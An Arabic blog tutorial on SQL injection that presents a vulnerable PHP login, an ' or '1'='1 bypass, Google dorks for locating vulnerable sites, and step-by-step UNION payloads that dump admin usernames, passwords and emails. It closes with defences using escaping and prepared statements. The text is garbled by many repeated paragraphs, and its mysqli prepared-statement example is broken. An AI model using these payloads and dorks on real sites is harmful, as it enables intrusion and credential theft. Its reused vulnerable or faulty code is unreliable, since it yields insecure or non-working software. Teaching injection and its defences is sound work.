لنأخذ على سبيل المثال الشيفرة أسفله ، و التي تضم استمارة الدخول و تقوم أيضا بمعالجتها .
:
:
$db = mysql_connect('localhost', 'root', '');
mysql_select_db("injection");
if(isset($_POST['submit'])) {
$nom = $_POST['name'];
$pass = $_POST['pass'];
$sql = "SELECT name, pass
FROM users
WHERE name = '$nom'
AND pass = '$pass'";
$req = mysql_query($sql) or die('Error SQL !
'.$sql.'
'.mysql_error());
while($data = mysql_fetch_array($req))
{
echo 'Hello : name = '.$data['name'].'
'; } mysql_close($db); } else { ?> <form action="" method="POST"> <p>Username: <input type="text" name="name" /></p> <p>Password: <input type="password" name="pass" /></p> <p><input type="submit" name="submit" value="تسجيل الدخول" /></p> </form> }
هذا السكريبت يتضمن على الثغرة (لتجربة السكريبت ، أنشيء جدولا في القاعدة ثم أضف إليه بعض الإدخالات) ، للتأكد من ذلك ، سنضيف علامة ' في الحقل الأول مثلا ثم نرسل الإستمارة ، سنحصل على الخطأ السابق .
لاستغلال الثغرة ، في مثالنا سنحاول تسجيل دخولنا بدون إسم صحيح أو كلمة مرور :
في الحقل الأول للإستمارة أدخل أي إسم مثلا "admin" . و في حقل كلمة المرور ، أدخل الشيفرة التالية :
' or '1'='1
سنتمكن بكل تأكيد من ربط الإتصال رغم أن بياناتنا ليست صحيحة . رغم أن الإستعلام في السكريبت واضح و منطقي ، فهو يأمر قاعدة البيانات لاختيار البيانات فقط إذا كان الإسم و كلمة المرور التي أرسلها العضو مطابقة تماما للموجودة في القاعدة .
ما الذي حدث بالضبط عندما أضفنا الشيفرة (' or '1'='1) في حقل كلمة المرور ؟
لقد تحايلنا على التعليمة WHERE الموجودة في الإستعلام السابق . بإضافة الشيفرة العجيبة نكون قد قدّمنا إستعلاما كالتالي .
لاستغلال الثغرة ، في مثالنا سنحاول تسجيل دخولنا بدون إسم صحيح أو كلمة مرور :
في الحقل الأول للإستمارة أدخل أي إسم مثلا "admin" . و في حقل كلمة المرور ، أدخل الشيفرة التالية :
' or '1'='1
سنتمكن بكل تأكيد من ربط الإتصال رغم أن بياناتنا ليست صحيحة . رغم أن الإستعلام في السكريبت واضح و منطقي ، فهو يأمر قاعدة البيانات لاختيار البيانات فقط إذا كان الإسم و كلمة المرور التي أرسلها العضو مطابقة تماما للموجودة في القاعدة .
ما الذي حدث بالضبط عندما أضفنا الشيفرة (' or '1'='1) في حقل كلمة المرور ؟
لقد تحايلنا على التعليمة WHERE الموجودة في الإستعلام السابق . بإضافة الشيفرة العجيبة نكون قد قدّمنا إستعلاما كالتالي .
$sql = "SELECT name, pass
FROM users
WHERE name = 'admin'
AND pass = ''
OR '1'='1'
"
علامة الإقتباس الأولى في الشيفرة السابقة ، أتاحت إنهاء عمل التعيمة AND مسفرة عن قيمة فارغة و أتاحت لنا أيضا إضافة استعلام جديد و هو or '1'='1'
بهذا أصبح استعلام طلب الدّخول دائما صحيحا فهو يعني : اختيار البيانات إذا كان الإسم هو admin (و) كلمة المرور فارغة (أو) 1=1
1=1 شرط صحيح للأبد .
هذا المثال البسيط يلخص دور علامة الاقتباس البسيطة في تغيير مجرى الإستعلام كليا ليشكل خطرا جسيما على كل الموقع .
بعد فهم دور علامة الإقتباس السحرية في إتاحة تمديد الإستعلام الأصلي ، نتقل الآن لرؤية حالة متقدمة من الإستغلال عبر عنوان الويب .
بهذا أصبح استعلام طلب الدّخول دائما صحيحا فهو يعني : اختيار البيانات إذا كان الإسم هو admin (و) كلمة المرور فارغة (أو) 1=1
1=1 شرط صحيح للأبد .
هذا المثال البسيط يلخص دور علامة الاقتباس البسيطة في تغيير مجرى الإستعلام كليا ليشكل خطرا جسيما على كل الموقع .
بعد فهم دور علامة الإقتباس السحرية في إتاحة تمديد الإستعلام الأصلي ، نتقل الآن لرؤية حالة متقدمة من الإستغلال عبر عنوان الويب .
إستغلال ثغرة SQL عبر عنوان الويب
أسهل الطرق المستعملة من قبل المهاجم لإيجاد ثغرة حقنة sql في المواقع المصابة ، هي استعمال دوركات google . أعطيكم بعض الأمثلة لهذه الدوركات :
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
لن أسرد كل هذه الدوركات فهي كثيرة ، للحصول على اللائحة كاملة ، ما عليكم سوى البحث عنها في محرك البحث google بإستعمال كلمات بحث شبيهة بهذه "sql injection dorks" .
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
لن أسرد كل هذه الدوركات فهي كثيرة ، للحصول على اللائحة كاملة ، ما عليكم سوى البحث عنها في محرك البحث google بإستعمال كلمات بحث شبيهة بهذه "sql injection dorks" .
تذكير : هذا الدرس تربوي ، يروم لفهم الثغرة جيدا و كيف يمكن للمهاجم استغلالها . و من ثم سرد الطرق الناجعة لحمايتها .
لهذا أنصحكم إذا رغبتم في تجربة الثغرة من الأجدى فعل ذلك على خادومكم المحلي . لأن الناس لا يحبذون أن تعبثوا بمواقعهم . وهناك قوانين صارمة في هذا المجال حسب بلدكم .
يأخذ المهاجم أي واحد من هذه الدوركات و يضعها في محرك البحث google الذي سيعطيه جميع المواقع التي تشبه عنوان الويب الذي يبحث عنه . و هنا نصل إلى أهم نقطة : لمعرفة هل الموقع مصاب أم لا ؟ سيضيف علامة ' في آخر العنوان على الشكل التالي :
http://example.kom/article.php?id=25'
بإضافة علامة ' إذا لم يطرأ أي تغيير على الصفحة المعنية ، هذا يعني أن الموقع ليس مصابا . أما إذا حصل على خطأ SQL شبيه بهذا :
Error SQL !
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...
يعني أن الموقع مصاب بالثغرة و يمكن للمهاجم استغلالها . ليس بالضرورة أن يحصل على نفس الخطأ أعلى . أيّ خطأ ينجم عن sql ينم عن وجود الثغرة
(في بعض الحالات يطرء تغيير على الصفحة لكن دون عرض أي خطأ و هذا ينجم عن وجود الثغرة لكنها ليست ظاهرة و تسمى في هذه الحالة :
BLIND SQL INJECTION . طرق استغلالها تختلف عن التي سنراها أسفله .)
بعد إيجاد الثغرة ، ننتقل لمعرفة كيفية استغلالها .
http://example.kom/article.php?id=25'
بإضافة علامة ' إذا لم يطرأ أي تغيير على الصفحة المعنية ، هذا يعني أن الموقع ليس مصابا . أما إذا حصل على خطأ SQL شبيه بهذا :
Error SQL !
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...
يعني أن الموقع مصاب بالثغرة و يمكن للمهاجم استغلالها . ليس بالضرورة أن يحصل على نفس الخطأ أعلى . أيّ خطأ ينجم عن sql ينم عن وجود الثغرة
(في بعض الحالات يطرء تغيير على الصفحة لكن دون عرض أي خطأ و هذا ينجم عن وجود الثغرة لكنها ليست ظاهرة و تسمى في هذه الحالة :
BLIND SQL INJECTION . طرق استغلالها تختلف عن التي سنراها أسفله .)
بعد إيجاد الثغرة ، ننتقل لمعرفة كيفية استغلالها .
لاستغلال الثغرة يتبع المهاجم استراتيجية تضم مجموعة من الخطوات : تبدأ بمعرفة عدد الأعمدة الموجودة في القاعدة ثم الجداول التي تتضمن الثغرة و كذلك معرفة إسم مستخدم القاعدة و رقم الإصدار . بعدها يقوم بعرض أسماء الجداول و محتوياتها . كل هذه العمليات يتم تنفيذها مباشرة في عنوان الويب "URL" للموقع المصاب ، أي أن استغلال قاعدة البيانات و إجراء الإستعلامات تُنفذ مباشرة من شريط عناوين المتصفح .
معرفة عدد أعمدة قاعدة البيانات
لمعرفة عدد أعمدة قاعدة البيانات يستعمل التعليمة "Order By" كالتالي :
http://exampleSite.com/article.php?id=25 order by 1--
يبدء بواحد ، و يقوم في كل مرة برفع هذه القيمة
http://exampleSite.com/article.php?id=25 order by 2--
إذا تم عرض الصفحة بطريقة عادية ، يقوم برفع هذا العدد حتى يحصل على خطأ . لنفترض أنه وصل إلى 8 ثم حصل على خطأ :
http://exampleSite.com/article.php?id=25 order by 8--
إذا حصل على خطأ شبيه بهذا
Database error: Unknown column '8' in 'order clause'
هذا يعني أن العمود رقم 8 غير موجود في القاعدة ، بهذا يكون قد حدد عدد الأعمدة و هو 7 في مثالنا .
ملاحظة : بالنسبة لعلامتي "--" فهي عبارة عن علامتي الملاحظات يمكننا أيضا استبدالهما بعلامتي /* ، فهي تلغي كل ما يأتي بعدها و تعتبره ملاحظات .
بعد معرفة عدد الأعمدة ، ينتقل لمعرفة الأعمدة التي تتضمن الثغرة
http://exampleSite.com/article.php?id=25 order by 8--
إذا حصل على خطأ شبيه بهذا
Database error: Unknown column '8' in 'order clause'
هذا يعني أن العمود رقم 8 غير موجود في القاعدة ، بهذا يكون قد حدد عدد الأعمدة و هو 7 في مثالنا .
ملاحظة : بالنسبة لعلامتي "--" فهي عبارة عن علامتي الملاحظات يمكننا أيضا استبدالهما بعلامتي /* ، فهي تلغي كل ما يأتي بعدها و تعتبره ملاحظات .
بعد معرفة عدد الأعمدة ، ينتقل لمعرفة الأعمدة التي تتضمن الثغرة
معرفة الأعمدة التي تتضمن الثغرة
لمعرفة الأعمدة التي تتضمن الثغرة ، يلجأ للتعليمة "UNNION ALL SELECT"
article.php?id=25 union all select 1,2,3,4,5,6,7--
بعد تنفيذ هذا الإستعلام ، يبحث جيدا في الصفحة عن أي رقم قد يظهر فجأة في مكان ما . يمكن أن يكون رقما واحدا أي أنه وجد عمودا واحدا فقط يتضمن الثغرة ، أو قد يحصل على مجموعة من الأعمدة . لنفترض أن رقمي 4 و 6 ظهرا على الصفحة . يمكنه استغلال أي عمود منهما لإجراء باقي الإستعلامات .
ملاحظة : إذا لم يحصل على أي رقم ، يضيف فقط علامة ناقص "-" بعد علامة تساوي ، و سيتم حل المشكلة :
id=-25 union all select 1,2,3,4,5,6,7--
ملاحظة : إذا لم يحصل على أي رقم ، يضيف فقط علامة ناقص "-" بعد علامة تساوي ، و سيتم حل المشكلة :
id=-25 union all select 1,2,3,4,5,6,7--
معرفة إسم المستخدم و رقم إصدار SQL
لمعرفة رقم الإصدار "version" أو إسم مستخدم قاعدة البيانات "user" . يعتمد على إجراء الإستعلام في أحد الأعمدة التي تتضمن الثغرة ، مثلا في العمود رقم 4 في مثالنا أو 6 :
لمعرفة إسم المستخدم يستعمل إما user() أو @@user()
لمعرفة رقم الإصدار يستعمل version() أو @@version()
لمعرفة إسم المستخدم يستعمل إما user() أو @@user()
لمعرفة رقم الإصدار يستعمل version() أو @@version()
article.php?id=-25 union all select 1,2,3,version(),5,6,7--
سيحصل مثلا على رقم إصدار شبيه بهذا : 5.5.35
إذا كان رقم الإصدار 4 أو أقل سيحتاج إلى تخمين أسماء الأعمدة و الجداول عبر تقنية "brute force" ، توجد برانم تُستعمل لذلك
أما إذا كان الإصدار 5 أو أكبر (كما هو الحال على أغلب الخوادم حاليا) كما في مثالنا يمكنه متابعة استعمال تقنيات الإختراق الموالية .
إذا كان رقم الإصدار 4 أو أقل سيحتاج إلى تخمين أسماء الأعمدة و الجداول عبر تقنية "brute force" ، توجد برانم تُستعمل لذلك
أما إذا كان الإصدار 5 أو أكبر (كما هو الحال على أغلب الخوادم حاليا) كما في مثالنا يمكنه متابعة استعمال تقنيات الإختراق الموالية .
عرض جميع أسماء الجداول دفعة واحدة
لعرض جميع أسماء الجداول الموجودة في القاعدة :
article.php?id=-25 union all select 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables where table_schema=database()--
عرض جميع أسماء أعمدة الجداول دفعة واحدة
لمعرفة أسماء جميع أعمدة الجداول في القاعدة :
article.php?id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 from information_schema.columns where table_schema=database()--
عرض أسماء الجداول ، جدولا تلو الآخر
لعرض جدول واحد فقط كل مرة ، يستعمل التعليمة LIMIT ، مثلا لعرض إسم الجدول الأول :
article.php?id=-25 union select 1,2,3,table_name,5,6,7 TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 0,1--
إستعملت "UNION SELECT" بدل "UNION ALL SELECT" و "table_name" بدل group_concat(table_name) لعرض جدول واحدا فقط . لعرض أكثر من جدول يتم استعمال الطرق الأولى .
لعرض إسم الجدول الثاني ، يقوم بتغيير القيمة الأولى ل LIMIT : LIMIT 1,1-- و هكذا دواليك
لعرض إسم الجدول الثاني ، يقوم بتغيير القيمة الأولى ل LIMIT : LIMIT 1,1-- و هكذا دواليك
عرض أسماء الأعمدة لجدول واحد فقط
لنفترض أنه وجد جدولا إسمه "admin" و أراد عرض جميع الأعمدة التي يحتوي عليها :
id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 FROM information_schema.columns WHERE table_name = admin--
في أغلب الحالات بدل الحصول على أسماء الأعمدة سيحصل على خطأ شبيه بهذا :
Database error: Unknown column 'admin' in 'where clause'
لتفادي هذا الخطأ و عرض أسماء الأعمدة يجب تحويل إسم الجدول إلى صيغة MySql CHAR() . يوجد برنام يقوم بهذا الدور ، و هو عبارة عن إضافة "addon" موزيلا فايرفوكس تجدونها باتباع الرابط التالي : hackbar
بعد تنصيبها سيتطلب منكم إغلاق متصفح mozilla firefox و إعادة فتحه . لاستعمال الإضافة الجديدة :
1 - أنقر على F9
2 - ستحصل على الخدمات التي تقدمها هذه الإضافة ، أنقر على : "SQL"
3 - ثم اختر : "MySQL" ثم MySql CHAR()
4 - ستظهر لديك نافذة جديدة ، أدخل فيها إسم الجدول الذي ترغب تحويله ، في مثالنا إسمه "admin" بعد النقر على الموافقة ستحصل على الإسم الجديد على شكل أرقام كالتالي : CHAR(97, 100, 109, 105, 110) .
هذا الإسم هو الذي سيتم استعماله في الإستعلام لتجاوز مشكلة ترميز قاعدة البيانات :
Database error: Unknown column 'admin' in 'where clause'
لتفادي هذا الخطأ و عرض أسماء الأعمدة يجب تحويل إسم الجدول إلى صيغة MySql CHAR() . يوجد برنام يقوم بهذا الدور ، و هو عبارة عن إضافة "addon" موزيلا فايرفوكس تجدونها باتباع الرابط التالي : hackbar
بعد تنصيبها سيتطلب منكم إغلاق متصفح mozilla firefox و إعادة فتحه . لاستعمال الإضافة الجديدة :
1 - أنقر على F9
2 - ستحصل على الخدمات التي تقدمها هذه الإضافة ، أنقر على : "SQL"
3 - ثم اختر : "MySQL" ثم MySql CHAR()
4 - ستظهر لديك نافذة جديدة ، أدخل فيها إسم الجدول الذي ترغب تحويله ، في مثالنا إسمه "admin" بعد النقر على الموافقة ستحصل على الإسم الجديد على شكل أرقام كالتالي : CHAR(97, 100, 109, 105, 110) .
هذا الإسم هو الذي سيتم استعماله في الإستعلام لتجاوز مشكلة ترميز قاعدة البيانات :
id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 FROM information_schema.columns WHERE table_name = CHAR(97, 100, 109, 105, 110)--
إستخلاص محتوى الأعمدة
لنفترض أنه وجد هذه الأعمدة في جدول "admin" :
id, username, password, email
لقد وصل إلى أهم مرحلة و هي استخلاص جميع بيانات الجدول ، للحصول على محتوى الأعمدة سيقوم بعرضها على المتصفح باستعمال الإستعلام التالي :
id, username, password, email
لقد وصل إلى أهم مرحلة و هي استخلاص جميع بيانات الجدول ، للحصول على محتوى الأعمدة سيقوم بعرضها على المتصفح باستعمال الإستعلام التالي :
id=-25 union all select 1,2,3,group_concat(username,0x3a,password,0x3a,email),6,7 from admin--
سنكتفي بهذا القدر . إعلموا أنه يمكن أيضا (في بعض الحالات) إستعمال التعليمات DELETE و UPDATE و DROP لحذف أو تعديل البيانات أو إفراغ جدول ما .
ننتقل لجوهر هذا الموضوع و معرفة كيفية حماية الموقع من ثغرة حقنة SQL .
ننتقل لجوهر هذا الموضوع و معرفة كيفية حماية الموقع من ثغرة حقنة SQL .
حماية ثغرة SQL Injection
لمستخدمي mysql
لمستخدمي SQL بالطريقة القديمة كما رأينا في هذا الدّرس . يجب إضافة الدالة mysql_real_escape_string() لجميع البيانات أثناء التعامل مع القاعدة ، مثال :
$nom = mysql_real_escape_string($_POST['name']);
$pass = mysql_real_escape_string($_POST['pass']);
ملحوظة !!! منذ إصدار PHP 5.5.0 لم يعد مُحبّذا استعمال mysql_real_escape_string و mysql .
لهذا يجب التفكير جدّيا للإنتقال إلى استعمال MySQLi أو PDO .
لهذا يجب التفكير جدّيا للإنتقال إلى استعمال MySQLi أو PDO .
لمستخدمي PDO
لمستخدمي PDO أنتم محميون من هذه الثغرة ، إذا كنتم تهيئون الإستعلام أثناء التعامل مع قاعدة البيانات .
try
{
$db = new PDO('mysql:host=localhost;dbname=test;charset=utf8', 'root', '');
}
catch(PDOException $e)
{
die('خطأ : '. $e->getMessage());
}
$nom= $_POST['name'];
$pass = $_POST['pass'];
$response= $db->prepare('SELECT * FROM users
WHERE name = :pseudo AND pass = :pa
');
$response->bindValue(':pseudo',$nom,PDO::PARAM_STR);
$response->bindValue(':pa',$pass,PDO::PARAM_STR);
$response->execute();
$member = $response->Fetch();
$response->CloseCursor();
//...
لمستخدمي mysqli بدون تهيئ الإستعلام
إستعمل التعليمة mysqli::escape_string
//...
$nom= mysqli->real_escape_string($_POST['name']);
$pass= mysqli->real_escape_string($_POST['pass']);
لمستخدمي MysQli مع تهييء الإستعلام
أنتم محميون من الثغرة
$db= new mysqli($localhost, $user, $password, $db_name);
if (mysqli_connect_errno()) {
printf("خطأ : %s\n", mysqli_connect_error());
exit();
}
$nom= $_POST['name'];
$pass = $_POST['pass'];
$stmt = $db->prepare('SELECT * FROM users WHERE name = ? AND pass = ?');
$stmt->bind_param('s', $nom);
$stmt->bind_param('s', $pass);
$stmt->execute();
$result = $stmt->get_result();
while($row = $result->fetch_assoc()) {
// ...
}
هنا ينتهي هذا الدرس ، إلى فرصة قادمة لمعالجة ثغرة أخرى بحول الله .
ليست هناك تعليقات:
إرسال تعليق
اهلا بك ونشكرك على تعليقك ونتمنى ان تكون مستفيدا من المدونة
واقتراحاتك ستكون بالحسبان